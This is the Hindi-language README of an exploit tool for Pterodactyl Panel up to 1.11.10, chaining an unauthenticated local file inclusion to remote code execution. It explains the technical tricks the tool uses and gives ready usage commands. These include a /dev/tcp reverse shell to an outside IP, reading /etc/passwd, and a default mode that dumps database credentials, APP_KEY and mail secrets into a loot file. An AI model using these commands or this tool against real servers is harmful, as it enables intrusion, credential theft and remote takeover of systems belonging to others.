
Pterodactyl Panel ≤ 1.11.10 के लिए एक्सप्लॉइट - बिना प्रमाणीकरण के LFI से RCE
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel ≤ 1.11.10 के लिए एक्सप्लॉइट - बिना प्रमाणीकरण के LFI से RCE तक।
/locales/locale.json एंडपॉइंट locale और namespace पैरामीटर स्वीकार करता है जो बिना सैनिटाइज़ेशन या प्रमाणीकरण के सीधे PHP के include() में पास किए जाते हैं। दुरुपयोग रोकने के लिए बनाया गया hash पैरामीटर अनपैच्ड संस्करणों पर कभी लागू नहीं होता।
यह निम्न की अनुमति देता है:
.php कॉन्फ़िग फ़ाइल को पढ़ें (डेटाबेस क्रेडेंशियल, APP_KEY, मेल, सेशन…)pearcmd.php इंक्लूज़न (register_argc_argv + config-create ट्रिक), PHP फ़िल्टर चेन, या लीक हुई APP_KEY के साथ Laravel डिसीरियलाइज़ेशन के माध्यम सेप्रभावित: Pterodactyl Panel ≤ 1.11.10 फिक्स: 1.11.11
मूल PoCs पायथन requests का उपयोग करके pearcmd पेलोड भेजते हैं। समस्या: requests चुपचाप <, >, {, } जैसे वर्णों को URL-एन्कोड कर देता है - जो URL में एम्बेडेड PHP टैग्स (<?=system(...)?>) को तोड़ देता है।
यह एक्सप्लॉइट इसे दो प्रमुख बदलावों से ठीक करता है:
curl - पेलोड निर्माण अनुरोध subprocess के माध्यम से curl -g (globoff) का उपयोग करता है, जो पायथन की URL एन्कोडिंग को पूरी तरह से बायपास करता है।hex2bin() - रॉ कमांड को इंजेक्ट करने के बजाय (जो स्पेस और विशेष वर्णों पर टूट जाता है), कमांड को हेक्स-एन्कोड किया जाता है और सर्वर-साइड system(hex2bin('...')) से डिकोड किया जाता है। हेक्स केवल 0-9a-f का उपयोग करता है - कोई + नहीं, कोई = नहीं, कोई & नहीं, कोई स्पेस नहीं। इसका मतलब है कि कोई भी कमांड काम करता है, जिसमें >& और /dev/tcp/ वाले रिवर्स शेल भी शामिल हैं।pip install requests
वैकल्पिक (फ़िल्टर चेन / डिसीरियलाइज़ेशन RCE तरीकों के लिए):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
| Option | Description |
|---|---|
target | लक्ष्य URL (जैसे http://panel.pterodactyl.fr) |
--rce-cmd CMD | CMD को pearcmd के माध्यम से निष्पादित करें (किसी भी कमांड का समर्थन करता है, जिसमें रिवर्स शेल शामिल हैं) |
--rce-filter CMD | PHP फ़िल्टर चेन के माध्यम से CMD निष्पादित करें |
--filter-chain CHAIN | पहले से जनरेट की गई php://filter चेन का उपयोग करें (--rce-filter के साथ) |
--rce-d CMD | Laravel डिसीरियलाइज़ेशन के माध्यम से CMD निष्पादित करें |
--pear-dir PATH | pearcmd.php डायरेक्टरी का पाथ (डिफ़ॉल्ट: /usr/share/php) |
--timeout N | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 10) |
--verify-ssl | SSL प्रमाणपत्र सत्यापन सक्षम करें (डिफ़ॉल्ट रूप से अक्षम) |
-o FILE | आउटपुट रिपोर्ट फ़ाइल (डिफ़ॉल्ट: loot.json) |
--pear-dir मान| Distro | Path |
|---|---|
| Debian / Ubuntu | /usr/share/php (डिफ़ॉल्ट) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 या /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
जब --rce-cmd / --rce-filter / --rce-d के बिना चलाया जाता है, तो एक्सप्लॉइट पूर्ण कॉन्फ़िग निष्कर्षण करता है:
/etc/passwd, होस्टनाम, कर्नेल संस्करण पढ़ने का प्रयासपूर्ण JSON रिपोर्ट loot.json में सहेजी जाती है (या -o के माध्यम से कस्टम पाथ)।
यह एक्सप्लॉइट GRodolphe/CVE-2025-49132_poc के PoC पर आधारित एक सुधार है, जो स्वयं 0xtensho/CVE-2025-49132-poc के मूल PoC से प्रेरित है।